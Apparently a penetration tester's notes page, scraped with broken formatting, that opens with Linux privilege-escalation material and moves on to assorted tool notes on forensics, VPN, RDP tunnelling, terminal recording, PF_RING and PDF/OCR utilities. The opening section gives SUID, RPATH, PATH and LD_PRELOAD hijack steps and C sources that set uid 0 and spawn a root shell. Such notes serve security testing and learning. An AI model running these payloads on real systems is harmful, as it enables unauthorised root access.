3.13.0-100.147 | Ubuntu 14.04 LTS |
3.16.36-1+deb8u2 | Debian 8 |
4.4.0-45.66 | Ubuntu 16.04 LTS |
4.8.0-26.28 | Ubuntu 16.10 |
3.10.0-327.36.3 | RHEL 7, CentOS 7 |
2.6.32-642.6.2 | RHEL 6, CentOS 6 |
2.6.18-416 | RHEL 5, CentOS 5 |
3.0.101-84.1 | SLES 11 SP4 |
3.12.60-52.57.1 | SLES 12 GA LTSS |
3.12.62-60.64.8.2 | SLES 12 SP1 |
- 2.6.24-16 - EID 40839 (add root user)
- Check the exploit for the gcc flags
- Make the exploit stable
- List of PoC
- Identify with checksec:
find / \( -perm -4000 -o -perm -2000 \) -type f -exec /tmp/checksec --file={} \; 2>/dev/null | less -R -S # Use --listfile=<file> instead # --proc=<pid> and --proc-libs=<pid> # to analyze a running process or # --proc-all for all processes
- The ELFs shall have RW-RPATH
- Identify the RPATH and the name of the libraries:
readelf -d /usr/bin/sudo | grep "NEEDED\|RPATH" # Or strace /usr/bin/sudo 2>&1 | grep -i "open\|access\|no such file"
- Check if the directory or existing-libraries are writable
- Replace them (or create a new one) that spawns a shell with SUID
- The ELFs shall have RUNPATH
- TODO regarding how to search it (try
readelf -d
) - Libraries under RUNPATH are searched after
LD_LIBRARY_PATH
, so this may allow theLD_PRELOAD
trick to work
- The ELFs shall have PIC (use
checksec
) - The target ELFs shall be owned by root and have the SUID bit
- Follow the instructions for compiling
- Run the exploit:
# It may "die" with some binaries ./pwn <os-num> <path-to-suid-pic-elf> # Try with those with longer paths
- More info
- Check calls made by the SUID:
strings /usr/bin/sudo | less # Relative calls don't have a path # Absolute calls have a path # Also check ldd /usr/bin/sudo
- Tamper the PATH:
export PATH=/tmp:$PATH # Create an evil executable with # the same name as the reference echo 'int main() { setgid(0); setuid(0); system("/bin/sh"); return 0; }' > /tmp/setresuid.c gcc /tmp/setresuid.c -o /tmp/setresuid
- Execute the binary
- Check that the permissions are preserved
/bin/bash -p
- Create a function:
# It shall have the same name /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } # Export the function export -f /usr/sbin/service
- Execute the binary
- Check that the permissions are preserved
/bin/bash -p
chmod a+s <file>
#include <stdlib.h>
#include <unistd.h>
int main() {
setgid(0);
setuid(0);
setegid(0);
seteuid(0);
system("/bin/sh");
// Use exec if system uses rshell
// execv("/bin/sh", NULL);
// execl("/bin/sh", NULL);
// execlp("/bin/sh", NULL);
// execle("/bin/sh", NULL, NULL);
// execvp("/bin/sh", NULL);
// execve("/bin/sh", NULL, NULL);
// execvP("/bin/sh", NULL, NULL);
return 0;
}
// gcc -o suid suid.c
// https://stackoverflow.com/a/20823413
#include <stdlib.h>
#include <unistd.h>
// In old systems use:
// void _init() {
void __attribute__ ((constructor)) my_init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
setegid(0);
seteuid(0);
system("/bin/sh");
// Use exec if system uses rshell
// execv("/bin/sh", NULL);
// execl("/bin/sh", NULL);
// execlp("/bin/sh", NULL);
// execle("/bin/sh", NULL, NULL);
// execvp("/bin/sh", NULL);
// execve("/bin/sh", NULL, NULL);
// execvP("/bin/sh", NULL, NULL);
}
// gcc -shared -fPIC -o suid.so suid.c
// LD_PRELOAD=suid.so <binary>
#include <stdlib.h>
// void _init() in old systems
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/sh /tmp/sh && chmod a+s /tmp/sh && /tmp/sh -p");
// See above for exec family
}
// gcc -shared -fPIC -o <lib>.so lib.c
- Site - How to privesc with common tools
- In addition to the gtfobins ways, you can use
:diffpatch $(sh <&2 >&2)
(play with double quotes) as reported here ifvim
was compiled without python nor lua support (maybesource
also works)
python -c 'import os; os.setuid(0); os.system("/bin/bash");'
- Identify the content of a hive file with regipy:
registry-parse-header <hive.dat>
- Recover and diff the hive changes:
# Add -s <secondary-log> if found registry-transaction-logs NTUSER.DAT -p NTUSER.DAT.LOG -o recovered_NTUSER.dat registry-diff NTUSER.DAT recovered_NTUSER.dat
- Dump the hive as JSON and browse it:
registry-dump NTUSER.DAT | jq -C . | less -R
- Run plugins to extract information:
# Modest plugins from regipy # List them: registry-plugins-list registry-plugins-run UsrClass.dat -o out.json # Massive amount from RegRipper rip -a -r <hive.dat> > output.txt
- Flush transactional log with registryFlush
- Automatically extract information from all hives and save it separately + flush transaction log:
:: Place rip.exe in %TEMP% autoripy.exe %TEMP% -s C:\Windows\System32\config -m C:\Users -r %TEMP%\reports -c all --flush
- Dump the content using pasco (also check the odessa version)
pasco <file.dat> # Recursively show all in subfolders for f in **/*.dat; do echo; pasco "$f"; echo "----"; done
- Extract all DBX files and recover its content:
for f in *.dbx; do undbx --recover $f; done
- Convert EML files to MBOX:
# formail is contained in procmail for f in *.eml; do formail -b < $f > "${f%.*}".mbox; done
- Open
MBOX
files inmutt
:cat *.mbox > all.mbox mutt -f all.mbox # Remove duplicates by pressing: # D # ~= # View attachments with: v # Extract attachments with: s # # To render HTML check: Tool section
- Site - Detect/Hide data:
# Detect steghide info <file>
- Site (bug) - Original - Image Analyzer:
java -jar stegosolve.jar # -Dsun.java2d.uiScale=2.5 - HiDPI # -Dsun.java2d.dpiaware=false - HiDPI # GDK_SCALE=2 - HiDPI
- Debian - add repo and install
wget 'https://repo.nordvpn.com/deb/nordvpn/debian/pool/main/nordvpn-release_1.0.0_all.deb' dpkg -i nordvpn-release_1.0.0_all.deb apt update apt install nordvpn # Review nordvpnd.socket and service # Consider installing wireguard-tools # for using nordlynx wg technology usermod -aG nordvpn $USER # Reload groups for terminal sudo -v && exec sudo -u $USER -i
- Log in and whitelist
# Continue from the sudo -u $USER -i # Consider using iptables-save here nordvpn login | awk '{print $NF}' | xargs firefox nordvpn account # Identify the networks to whitelist ip addr nordvpn whitelist add subnet <net>/<mask> # Only if wireguard-tools is installed nordvpn set technology nordlynx nordvpn set protocol <UDP/TCP> # UDP nordvpn set autoconnect on <country> <city> # Specific servers is possible nordvpn connect [<country>] [<city>] #Tab nordvpn set killswitch on nordvpn status
- Disconnect and recover internet
nordvpn disconnect # Consider using iptables-restore here iptables -F systemctl stop nordvpn.s{ocket,ervice}
- TLDR Linux - Theoretically & not-benchmarked:
medusa > hydra <=> patator > wfuzz > ZAP Dirbuster > dirsearch > dirb >= gobuster* == ffuf* == feroxbuster
<=>
In some casespatator
is the best- If the server supports
keep-alive
- ~curl -H ‘Connection: keep-alive’~
- And the
medusa
andhydra
modules don’t reuse connections (like HTTP)
- If the server supports
*
Compile viagccgo
for native threadsferoxbuster
uses green threads- In Windows it is a different story
- In a quick test
patator
vswfuzz
vsffuf
performed in MSYS-MinGW64 the result was:ffuf > wfuzz > patator
- Correspondingly
ffuf
was 2 times faster thanwfuzz
(3.5min vs 7min) patator
took 9min
- Correspondingly
- This is due to the different implementation of
fork
,clone
&pthread
found in Windows, as well as the task/thread scheduler
- In a quick test
- The most performant tool should be
medusa
(fix) followed byhydra
(ignoring protocol optimizations/features that might not be implemented in them) - These two tools are written in C, with the major difference being that
medusa
uses pthread vs fork inhydra
- This is multithreading v multiprocessing
pthread
uses less memoryfork
takes advantage of multi-CPU/cores- For I/O bound operations use pthread
- For high-level langs in a CPU-bound situation it might be better to use multiprocessing as multiprocessing scheduling is managed by the OS whereas multithreading might be managed by the library (or GIL), causing overhead - ref
patator
uses multiprocessing vs multithreading used bywfuzz
wfuzz
is prone to get killed by the OOMdpatator
tries to reuse TCP connections for all modules and supports HTTP2medusa
andhydra
only reuse connections in specific modules (not HTTP, even ifmedusa
hardcodes keep-alive) - no HTTP2- Note that hydra could be slower than patator due to an unnecessary GET req
- Regarding Python vs Go, it appears to be that some Python libraries might be more performant than goroutines
- Note that compiling Go programs with gccgo may implement the goroutines as pthreads
- Also referred in this book
- Alternatively, set GOMAXPROCS in the env
- According to this,
patator
outperforms all the other high-level parallel tools- But the article doesn’t say if coroutines have been placed in the same category as threads
- And it doesn’t say if Wfuzz PyCurl is correctly linked
- Either edit the
java.security
file - Or override it:
/usr/local/bin/zaproxy
#!/bin/bash JAVA_TOOL_OPTIONS="-Djava.security.properties="<(echo "jdk.tls.disabledAlgorithms=") exec /usr/bin/zaproxy
- See also the ZAP FAQ
/usr/local/bin/zaproxy
#!/bin/sh JAVA_TOOL_OPTIONS="-Dsun.java2d.uiScale=3.5" exec /usr/bin/zaproxy
- Using MSYS might be the easiest way to get an unified linux-like environment in Windows
- In fact, it can be successfully used to build native tools that are usually caught by the AV
- Get it from msys2.org
- If the system is using a proxy, use it:
# Check the Windows Proxy Settings export http_proxy=http://<ip:port> export https_proxy=https://<ip:port> # PAC files require a local HTTP proxy # and both exports should be http://...
- If the proxy is filtering the content, consider bypassing it with a reverse tunnel
- Now disable the SSL/TLS checks from pacman:
nano /etc/pacman.conf # Uncomment a XferCommand and add a flag # to ignore SSL/TLS checks: # -k -> curl # --no-check-certificate -> wget # And change the main SigLevel to Never
- Initialize and populate pacman’s keyring:
pacman-key --init pacman-key --populate
- Installing the
cryptography
library viapip
is ridiculously difficult - There’s the
mingw-w64-x86_64-python-cryptography
pkg, but it might be outdated - First install the following packages:
pacman -S --disable-download-timeout mingw-w64-x86_64-gcc mingw-w64-x86_64-python mingw-w64-x86_64-python-pip mingw-w64-x86_64-python-wheel
- Create a generic python lib via symlink:
ln -s /mingw64/lib/libpython3.*.dll.a /mingw64/lib/libpython3.dll.a
- Install Rust (mingw one doesn’t work) - ref:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
- Customize the installation (opt 2) to use the following target:
x86_64-pc-windows-gnu
- Continue with the installation
- Create a
config
file in your cargo home:%USERPROFILE%\.cargo\config --------------------------- [target.x86_64-pc-windows-gnu] linker = "C:\\msys64\\mingw64\\bin\\gcc.exe" ar = "C:\\msys64\\mingw64\\bin\\ar.exe"
- Open a MinGW x64 terminal and add the Rust bin to the PATH (don’t worry about the exe):
export PATH="/c/Users/$USERNAME/.cargo/bin:$PATH"
- Try to install cryptography:
# You might want to try a venv first pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org cryptography # Always try to install the dependencies # using pacman unless they are outdated
- I got stuck in some OpenSSL error due to missing libs (not available in pacman), try downloading/compiling them next time and exporting the
OPENSSL_VERSION
variable
- If the machine doesn’t have internet, create a socks connection with
plink -D
- Make the OS use the socks proxy through the Internet Explorer LAN Configuration settings by only setting the Socks server option to 127.0.0.1 <port>
- Send embedded python (since 3.5 - Windows Vista minimum): download - and proxychains
- Change the last line of the proxychains configuration to use the local socks server and port like the IE setting
- Send pip by first downloading it to your machine and then sending it to the Windows one
- Install pip by setting the trusted flags to bypass the SSL errors:
proxychains_win32_x86.exe -f proxychains.conf .\python.exe get-pip.py --trusted-host pypi.org --trusted-host files.pythonhosted.org
- Uncomment the
import site
in thepython<ver>._nth
file as mentioned here - Then find
pip
in the Scripts folder but run it like:proxychains_win32_x86.exe -f proxychains.conf .\python.exe -m pip --trusted-host pypi.org --trusted-host files.pythonhosted.org install <package> :: pipenv won't work with embeddable :: https://github.com/pypa/pipenv/issues/4334#issuecomment-694715392
- Note that some debugging programs that import python libraries (like cxfreeze) won’t work with embeddable python due to the fact that most of these libraries are inside the
python<ver>.zip
, you may try to decompress it and place the libraries in the Lib folder - It is worth mentioning that some packages may perfectly work if these libraries are removed from the import, for example yarp (
autoripy
dependency), which goes along if__version__
is removed (though you won’t be able to install it via the remote archive as this modification is needed) - But problems will exist for packages that depends on Microsoft Visual C++/SDK
- The only Linux client that allows scaling to become usable in a HiDPI screen is Vinagre
- Remote Desktop can only be enabled if the network currently connected is set as
Private
- Enable it via PS (source):
:: Open the shell as Admin :: Get the name of the current net Get-NetConnectionProfile :: Set is as Private Set-NetConnectionProfile -Name "<NetName>" -NetworkCategory Private
- Useful when there’s a firewall that is not allowing inbound connections for RDP
- Note that the following assumes that the
ssh
client tool is already installed on the firewalled machine - First, create a SSH server on your machine (use gost):
# Non-std ssh port for extra security gost -L forward+ssh://:2222
- Use
ssh
in reverse tunnel mode:# Daemonize with -f once it works ssh -N -R 127.0.0.1:3389:127.0.0.1:3389 -p 2222 <server-ip> # Disable compression -o Compression=no # Enable compression -C
# Ctrl+Alt+Enter - Toggle fullscreen
# If RDP8 proto is not available
# use /rfx /codec-cache:rfx
xfreerdp /log-level:FATAL /network:lan /dynamic-resolution -decorations -themes /gfx /codec-cache:gfx +gfx-small-cache +glyph-cache /sound /u:'<DOMAIN>\<user>' /v:<ip-host>:<port> +auto-reconnect +bitmap-cache +multitransport +window-drag
# /drive:<name>,<path> - Mount local path
# /p:'<pass> - Optional password
# -sec-tls - No TLS (fix errors)
# -sec-nla - No NLA (fix errors)
# /mic - Enable microphone
# Scale for HiDPI display
xfreerdp /log-level:FATAL /network:lan /scale:180 /scale-desktop:280 /scale-device:180 /dynamic-resolution -decorations -themes /gfx /codec-cache:gfx +gfx-small-cache +glyph-cache /sound /u:'<DOMAIN>\<user>' /v:<ip-host>:<port> +auto-reconnect +bitmap-cache +multitransport +window-drag
# There are some flags to redirect the
# local USBs and microphones
- Note that frames will be lost if other high-computational processes (such as virtual machines) are using the CPU
- Either preset
veryfast
with crf 38 - Or preset
superfast
with crf 40 - Consider adding
-video_size <geometry>
- Try increasing the
-probesize
in case some magic happens - Full command:
ffmpeg -hide_banner -loglevel warning -hwaccel auto -probesize 100M -draw_mouse 0 -f x11grab -i :0.0 -an -c:v libx264rgb -crf 40 -preset superfast -tune stillimage -threads 0 <file.mkv>
- Doesn’t have the problem of the missing frames, though
hashcat
and other GPGPU tools will create issues pvkrun
may not be necessary or could be replaced withprimusrun
- Full command:
vblank_mode=0 optirun --no-xorg -b none -- pvkrun ffmpeg -hide_banner -loglevel warning -threads:v 2 -filter_threads 2 -thread_queue_size 4096 -vsync 0 -hwaccel cuvid -hwaccel_output_format cuda -probesize 100M -draw_mouse 0 -f x11grab -i :0.0 -an -c:v h264_nvenc -rc vbr -spatial-aq 1 -temporal-aq 1 -qmin 34 -qmax 51 -bufsize:v 32M -rc-lookahead:v 75 -b_adapt 0 -coder auto -tune hq "<file>-$(date '+%s').mkv"
- Create pipes to
zstd
, example:# Using zsh/bash pipes # script - record script -q -t >(zstd -q -T0 --ultra --long --adapt=min=1,max=22 -o timings.zst) >(zstd -q -T0 --ultra --long --adapt=min=1,max=22 -o rawout.zst) # script - playback scriptreplay -t <(zstdcat timings.zst) <(zstdcat rawout.zst) # ttyrec - record ttyrec -f >(zstd -q -T0 --ultra --long --adapt=min=1,max=22 -o record.zst) # ipbt - playback ipbt -u -U -A -P -T <(zstdcat record.zst)
- Use
sed
magic-regex - still needs to trim some vterm/tmux/screen escapes - Use ansi2html.sh (raw):
# TODO - sed magic needed to further # trim + vterm/tmux/screen escape zstdcat rawout.zst | ansi2html.sh | w3m -T text/html -dump | less -r
- Record:
# Use -c for running a command # Use -a for appending to files script -q -t timings.ty rawout.ty
- Playback:
# No rewind support scriptreplay -t timings.ty rawout.ty # Join inactivity on same-frame - zsh scriptreplay -t <(awk '{ printf "%f %d\n", (($1 - last) > 1) ? 1 : $1, $2 }' timings.ty) rawout.ty
- Run the recorded commands:
# The recorded cmds will be executed scriptlive -t timings.ty rawout.ty
- Use ovh-ttyrec (or ttyrec + patches)
- Record (using
ovh-ttyrec
syntax):ttyrec -f record.trec # Record just a command ttyrec -f record.trec -- <cmd>
- Playback:
# No rewind support ttyplay record.trec
- Dump the recording in raw format:
ttyplay -n record.trec > rawout.ty
- Repair corrupted ttyrec for IPBT:
# Press + to duplicate the speed ttyrec -f <fixed> -- ttyplay <broken> # Play it in ipbt with <num>X
- Obtain it from App::Ttyrec
- termrec - Records in ttyrec format with extra information for better playback - untested
- Git - Manual
- Some
ncurses
tools won’t be displayed - Replay TTYrec:
# --utf8-linedraw - Fix line drawings ipbt -u -U -A -T record.trec # -f <frame> -> Start at <frame> # Raw recordings ipbt -u -U -A -R rawout.ty # o -> Frame info # l -> Speedup idle periods # s/p -> Pause/Play # SPC -> Next Frame - Number mod # b -> Previous Frame - Number mod # <n>g -> Jump to <n> frame # G -> Jump to last frame # <n>x -> Speedup playback <n> times # <n>X -> Slowdown playback <n> times # / -> Search forward # ? -> Search backward # n -> Repeat search
- asciinema - Creates JSON recordings
- Only useful if the purpose is to upload/share the recording
- Check ttyrec to asciinema converters
- Post-processing - format conversion
- The following trick can be used but not time-efficient:
ttyrec -f record.trec -- scriptreplay -t timings.ty rawout.ty
- Before running the command start
script
:# DO NOT add the -t <tm> flag LC_ALL=C script -q rawout.ty # -c <cmd> - Run just the command # ^ The prompt won't be captured # Or use the following for compression script -q >(zstd -q -T0 --ultra --long --adapt=min=1,max=22 -o rawout.zst)
- Run the command and exit
script
- Use ansi2html to create an HTML:
# The xterm palette is the clearest < rawout.ty sh ansi2html.sh --bg=dark --palette=xterm > cmd.html # Or if compression was used zstdcat rawout.zst | sh ansi2html.sh --bg=dark --palette=xterm > cmd.html
- Remove the
script
tags from the HTML:# TODO See if still relevant # Keeping the command prompt sed -i '/Script started/{N;s/.*\n//p;N;g;:a;g;N;/Script done/!{s,^\n\(</span>\)\+,,;P;s,[^\n]*\n,,;ba};d}' cmd.html # Works for multiple prompts sed -i ':a;/\(^\|\n\)<span[^\n]*<[^<]\+>\s\?[%#]\s\+$\|\n$/{N;ba};s/.*\n\+//;/^Script \(started\|done\)/d' cmd.html # TODO See if still relevant # Keeping the command, not the prompt sed -i '/Script started/{N;s/.*\n<span.*\(<[^<]\+>\) \?%/\1$/p;g;N;:a;N;/Script done/!{s,^\n\(</span>\)\+,,;P;s,[^\n]*\n,,;ba};d}' cmd.html # Works for multiple prompts sed -i ':a;/\(^\|\n\)<span[^\n]*<[^<]\+>\s\?[%#]\s[^<\n]\+$\|\n\s*$/{N;ba};/Script \(started\|done\)/d;s/^\(<span.*<[^<]\+>\s\?[%#]\s.*[^\n]\+\)\?\(\n*\)<span.*\(<[^<]\+>\)\s\?\([%#]\)\s*/\2\3\4 /' cmd.html # ^ Assuming % or # as prompt separator # TODO See if still relevant # Only the command's output sed -i '/Script started/{N;g;N;:a;g;N;/Script done/!{s,^\n\(</span>\)\+,,;P;s,[^\n]*\n,,;ba};d}' cmd.html # Works for multiple prompts sed -i ':a;/\(^\|\n\)<span[^\n]*<[^<]\+>\s\?[%#]\s[^<\n]\+$\|\n\s*$/{N;ba};/^\(<span[^\n]*<[^<]\+>\s\?[%#]\s.\+$\|Script \(started\|done\)\)/d' cmd.html
- Use capture-website to generate the img:
# Auto-crop full-page with --height=1 capture-website --height=1 --full-page --overwrite --output=cmd.png cmd.html # 'Unable to capture screenshot' means # that the height is above 10000000px # This is a Chrome limitation # Use --inset to workaround the issue capture-website --height=30000 --inset=20000,0,0,0 --overwrite cmd.html # ^ 10000 pixels from 20000y-px # TODO Join all the images for full-out # TODO Crop Script tags with --inset
- Assuming input signal of 1920x1080 and scaling to 3840x2160 (auto):
vblank_mode=0 ffplay -video_size 1920x1080 -fast -an -infbuf -sync audio -framedrop -drp 0 -vf 'scale=3840:-1' -loglevel -8 -fs /dev/video1
- The Zero Copy drivers for the adapters only replace those that use PCIe (supported), so first check if your ethernet adapter uses PCI-express with
lspci | grep -i ethernet
, then check that the module currently used by the kernel is the same as the ones from the supported cards, ie, an Intel 8254x should be usinge1000e
:lsmod | grep e1000e
- Note that
e1000
ande1000e
are not the same, make sure that the kernel is currently usinge1000e
(or can be instructed to use it) before proceeding
- Some Debian distros have pkgs pre-made
linux-headers
dkms
dh-make
bison
- Zero Copylibjson-c-dev
- Flow Table
- Debian package creator:
checkinstall
- Documentation
- Clone the sources:
git clone https://github.com/ntop/nDPI
- Install the library:
cd nDPI ./autogen.sh # Add the version number checkinstall
- Documentation
- Clone the sources:
git clone https://github.com/ntop/PF_RING
- Install the kernel module:
cd PF_RING/kernel ./configure make -f Makefile.dkms deb
- Install the ZC driver module:
cd ../drivers/intel ./configure make -f Makefile.dkms.<driver> deb
- Install the libpfring library:
cd ../userland/lib ./configure --enable-ndpi # Add the version number # and ndpi as dependency checkinstall
- Install the patched libpcap:
cd ../libpcap # Add --with-{dag,septel,...} # if you have any of those cards ./configure # Add the version number # and libpfring as dependency checkinstall
- Install patched tcpdump:
cd ../tcpdump ./configure # Add the version number # and libpfring as dependency checkinstall
- Install Wireshark plugins:
cd ../wireshark/extcap # You make have to return to the # folders where dkms was used and # issue a make for this to work make # Enable select the PF_RING iface cp ntopdump /usr/lib/<linux-platform>/wireshark/extcap/ cd ../plugins # Enable the PF_RING proto filter cp PFRingFlow.lua /usr/lib/<linux-platform>/wireshark/plugins/ # Or ~/.local/lib/wireshark/plugins/ # Or ~/.wireshark/plugins/
- Install specific card modules:
cd ../../modules/<card> ./configure # Add the version number checkinstall
- Install tools and services:
cd ../../../ # Command line tools cp package/usr/bin/* /usr/bin/ cp tools/n2if /usr/bin/ # Systemd services cp package/etc/systemd/system/* /etc/systemd/system/
- Enable Hugepages
- Set the correct RSS values
- Basic Configuration:
# Folder skeleton mkdir -p /etc/pf_ring/zc/<driver> # Set Hugepages values echo "node=0 hugepagenumber=1024" > /etc/pf_ring/hugepages.conf # Enable RSS echo "RSS=0,0,0,0" > /etc/pf_ring/zc/<driver>/<driver>.conf # Make the driver usable touch /etc/pf_ring/zc/<driver>/<driver>.start # Set the type of usage per iface cat > /etc/pf_ring/interfaces.conf << EOF MANAGEMENT_INTERFACES="eth0" CAPTURE_INTERFACES="eth1 eth2" EOF # Or force to load the ZC driver touch /etc/pf_ring/forcestart # You may need to reset the iface echo "ifconfig eth0 192.168.1.1" > /etc/pf_ring/post chmod +x /etc/pf_ring/post # Enable and start the service systemctl enable --now pf_ring # Check the driver in use pf_ringcfg --list-interfaces # Also check its Polling Mode: cat /proc/net/pf_ring/dev/eth0/info
- IDS Acceleration Example
- From inside the client machine:
e4defrag /
- Repeat the following twice, starting and powering off the machine (and waiting 10 minutes) in between to allow the VMplayer disk allocator to do its magic
- From inside the client machine:
vmware-toolbox-cmd disk wipe / ; cat /dev/zero > /wipefile; sync; rm /wipefile; sync ; vmware-toolbox-cmd disk shrinkonly /
- Power off the client
- From the command line (ref):
cd <folder-with-vmdk> ls # Defrag vmware-vdiskmanager -d <main-vmdk> # Shrink vmware-vdiskmanager -k <main-vmdk>
- Alternatively from the VMplayer UI:
- Select the Hard Drive of the client in the VMplayer dashboard > VM Settings
- Select Defrag disk (doesn’t seem to work)
- Select Compact disk
- Defrag the guest:
# ext4 filesystem e4defrag /
- Write a /wipefile to zero all the data:
cat /dev/zero > /wipefile; sync; rm /wipefile; sync
- Power off the guest
- From the host:
# List all the disks VBoxManage list hdds # Compact the disk VBoxManage modifymedium disk "<UUID>" --compact # Auto-compact all disks VBoxManage list hdds 2>&1 | awk '/^UUID/{print $2}' | xargs -i VBoxManage modifymedium disk "{}" --compact
- Used to connect different VMs:
VBoxManage dhcpserver add --netname intlab --ip 10.10.10.1 --netmask 255.255.255.0 --lowerip 10.10.10.2 --upperip 10.10.10.210 --enable
- Create a new Internal Network adapter and write the name (if not listed):
intlab
- It might be needed to start the VMs in graphical mode to be able to manually connect to multiple ethernet adapters
- Purge
pip
cache and don’t use it anymore# Purge all cache pip cache purge # Don't use cache pip config set global.cache-dir false
- Site - Read/Write metadata from files
exiftool <file>
- Extract interesting meta-fields from PDFs
# TODO - Try to recover stripped metadata for f in *.pdf; do exiftool "$f" | awk -vf="\n${f//\\/\\\\}\n" -vd="${f//?/-}" 'BEGIN{print d f d}END{print""}{s=$0;gsub("^[^:]+|[][,)( :.]","",s)}s&&/^(MSIP[^:]*)*(Author|Title|Keywords|Creator|Producer|Artist|Credit|Special|By[- ]?Line|(Copy)?[Rr]ights?|Source|For|Name|Owner|Instructions|Originating ?Program|Keywords|Subject|Headline|(Image ?)?Description|City|Country|Company|Comment|Create ?Date|Metadata ?Date|Modify ?Date|Set ?Date|PDF ?Version|GTS ?PDFX ?Version|AI ?Creator ?Version|History ?Parameters|(History ?)?Software ?Agent|Primary ?Platform|Device ?Manufacturer|XMP ?Toolkit|Slices ?Group ?Name|GPS|Make|Camera ?Model ?Name|(Writer|Reader) ?Name|Image ?Description|Sensitivity|Directory|Application|(Manifest ?Reference|Ingredients) ?File ?Path|Profile ?Copyright|Language|Encryption|User ?Access)/&&!x[s]++'; done | tee allpdfs.meta | less # Use pdftk to easily identify when a PDF # has Author Passwords instead of looking # at the Encryption & User Access header # Mod to hide the headings if no metadata # for f in *.png *.jpg; do [...] | # awk [...] 'END{if(p)print""}{s=$0[...] # }&&!x[s]++{if(!p++)print d f d;print}'; # done | [...]
- Site - PDF rendering & extractor
# Extract to stdout pdftotext <file.pdf> - # By default <file.txt> is created # Include metadata: pdftotext -htmlmeta <file.pdf> - | sed -n 's/^<meta .*/&\n/p;/^<pre>/,/^<\/pre>/{//!p}' # Analyze all PDFs in current dir for f in *.pdf; do echo "$f" | sed "h;s/./-/gp;H;x"; pdftotext -htmlmeta "$f" - | sed -n 's/<meta .*/&\n/p;/<pre>/,/<\/pre>/{//!p}'; echo; done | less
- Site - PDF data extractor WebUI-based:
# Start web server at 8080 tabula # Use a different port + options tabula 9090 <tabula-opts>
- Open the browser at localhost:<port>
- Export as
JSON (data)
to use withjq
- Site - PDF data manipulator
- Export Bookmarks + Metadata:
pdftk <file.pdf> dump_data output <meta-file>
- Import Bookmarks + Metadata:
pdftk <file.pdf> update_info <meta-file> output <updated.pdf>
- Site - PDF data extractor/analyzer
- Extract the internal PDF structure:
# Only TOC/Bookmark table in xml dumppdf.py -T <file.pdf> -o TOC.xml
- Site - PostScript + PDF interpreter:
# Try compress PDF better gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/prepress -dNOPAUSE -dQUIET -dBATCH -sOutputFile=<output.pdf> <input.pdf>
- Use when there are two similar PDFs:
- But only one with TOC/Bookmark table
- Which wants to be added to the other
- Extract metadata of both PDFs:
pdftk <file1.pdf> dump_data output <meta-file1> pdftk <file2.pdf> dump_data output <meta-file2>
- Manually add the desired metadata from
<meta-file1>
to<meta-file2>
- All
Bookmark*
data, for example
- All
- Using
tabula
, select the TOC from the PDF pages without the leading section numbers:- Do select ~”Section1 34”~ (page nº 34)
- Don’t select ~”1. Section1 34”~
- Export as
JSON (data)
, file <file.json> - Annotate the offset number to the first page in the TOC:
- If
Section1
is in TOC page 1, but actual PDF page is 22, offset = 21
- If
- Fix bookmark pages by using the TOC and offset:
offset=21 jq -r '.. | .text?' <file.json> | sed '/^null$/{d;n};/[0-9]$/!{N;s/\n//};s/\(\. \.\? \?\)\+//' | while read l; do num=$(grep -o '[0-9]\{1,3\}$' <<< "$l"); sec=${l%${num}}; sed -i "/BookmarkTitle:.*${sec//\//\\/}$/{n;n;s/[0-9]\+$/$((num + $offset))/}" <meta-file2>; done
- Fix subsections pages not showing in TOC (subsections with more than 2 levels) by calculating offset:
# Not 100% reliable offsets grep -B 3 -A 1 'BookmarkLevel: [^12]$' <meta-file1> | awk '/^BookmarkPageNumber:/{if(bt!=""){n=$2 - pn; print bt, n < 0 ? n % 2 ? 0 : 1 : n; bt=""};pn=$2} /^BookmarkTitle:/{$1="";bt=substr($0,2)}' | while read l; do t=${l% [0-9]}; n=${l#${t} }; gawk -i inplace "/^BookmarkPageNumber/{pn=\$2} /^BookmarkTitle:.*${t//\//\\/}$/{print; getline; print; getline; \$2=pn + $n} {print}" <meta-file2>; done
- Add new metadata to updated file2.pdf:
pdftk <file2.pdf> update_info <meta-file2> output <updated.pdf>
- Site - Make PDF searchable with text layer
# Uses Tesseract OCR engine ocrmypdf <input.pdf> <output.pdf> # -l <lang1+lang2> - Add languages # --jobs <n> - Cores to use # --rotate-pages - Fix misrotation # --deskew - Fix crooked PDFs # --output-type <t> - PDF/A by default # --title "<title>" - Add a title
- Site - State-of-the-art OCR engine:
# Using the new LSTM engine (ver >= 4) tesseract --oem 1 -l eng <file.img> stdout # --oem <mode> - OCR Engine Mode # -l <lang> - Required # --list-langs
- To OCR PDFs use
OCRmyPDF
withpdftotext
- Or use
pdftoppm
to convert them to PPM/PNG:# Tesseract can read PNM files pdftoppm <file.pdf> file # Creates to one PPM file per page # -mono - Generates PBM # -png - Generates PNG # -hide-annotations - If breaks tesseract
- Or use GhostScript to convert them to PNG:
gs -sDEVICE=pngalpha -r300 -dNOPAUSE -dBATCH -q -o file-%03d.png <file.pdf> # Preserve color with # -sDEVICE=png16m -dTextAlphaBits=4
- Site - Download - Non-lang dependant OCR:
# Only png, pbm, pgm, and ppm - See below ocrad -c ascii -F utf8 <file.img> [...] # -c <file-charset> - List all with help # -F <output-format> - List all with help # -l - Whitespace split # -i - Invert img filter # -s [-]<num-scale> - Scale img filter # -T <num-threshold> - Useful for scale # -u <l,t,w,h> - Analyze region # -t <transform> - Rotate/Mirror/etc # -E <file.filter> - See Filters man # Use it to only output specific # characters or replace others # -e <filter> - Hint content # numbers -> Recognize hex accurately # text_only # upper_num # same_height -> Only averg size text # text_block -> Recognize tables etc # Multiple filters can be chained
- Analyze JPEG and PDFs with helper tools:
# OCR a JPEG with djpeg djpeg -greyscale -pnm <file.jpg> | ocrad # OCR a PDF with GhostScript gs -sPAPERSIZE=a4 -sDEVICE=pnmraw -r300 -dNOPAUSE -dBATCH -sOutputFile=- -q <file.pdf> | ocrad
- Try downloading the dependencies with
pipenv
orvenv
to avoid conflicts
- Nuitka transforms the intermediary Python code to C and compiles it with a C compiler (which will download):
